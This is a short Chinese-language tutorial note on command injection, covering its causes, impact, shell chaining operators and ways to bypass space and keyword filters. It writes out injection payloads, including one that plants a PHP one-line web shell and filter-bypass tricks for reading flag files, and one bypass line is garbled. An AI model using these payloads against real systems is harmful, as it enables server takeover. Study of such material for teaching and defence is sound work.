【概念】
命令行注入漏洞:命令执行漏洞(RCE,remote command execute)
【原理】
在应用程序开发过程中,使用了一些函数来执行系统指令,在没有做好过滤的情况下,导致外 部用户通过拼接参数到命令中,产生注入漏洞。
注入条件:
1、客户端输入值作为拼接到参数中;
2、没有足够的条件过滤;
3、应用系统中有相关敏感函数的引用
【漏洞影响】
1、继承web服务器程序权限(web用户权限),便可去执行系统命令
2、继承web服务器权限,便可读写文件等
3、反弹shell
4、控制整个网站
5、控制整个服务器
【常见的指令拼接符】
在命令行注入时经常会使用的拼接符 |、&和;符。
1、| 符:管道符“|”上一条命令的输出,作为下一条命令参数(command1|command2 )
1.1 如 ping www.baidu.com | ls
1.2 注意:当command1执行报错时,结果会打印command2的结果以及command1的错误信息
2、&符:&放在启动参数后面表示设置此命令在后台运行
2.1 如 cp –R /home/happen /backup/happen/ &
2.2 在命令注入漏洞中&符解析成 command1 & command2(表示先执行command1后执行 command2)
3、;符:command1;command2(命令从左到右顺序执行)
4、在命令行注入时经常会使用的拼接符||和&&
4.1 || 符:command1||command2(当左边为假时执行右边命令)
4.2 &&符: command1&&command2(当左边为真时执行右边命令
【常见类型绕过方法】
1、在Web程序中有对空格过滤的情况,如下图
绕过方式有:
<,<>,%20(space),%09(tab),$IFS$9, I F S , {IFS},IFS,IFS
2、在Web程序中有对关键词cat命令过滤的情况,如
cat绕过方式有:
2.1 less或more或tail命令绕过
2.2 注入一句话木马:
127.0.0.1&echo "<?php @eval(\$_POST['shell']);?>">> demo.php
2.3 通过反斜杠或链接符绕过
反斜杠:ca\t fl\ag.php
链接符:ca"t fla"g.txt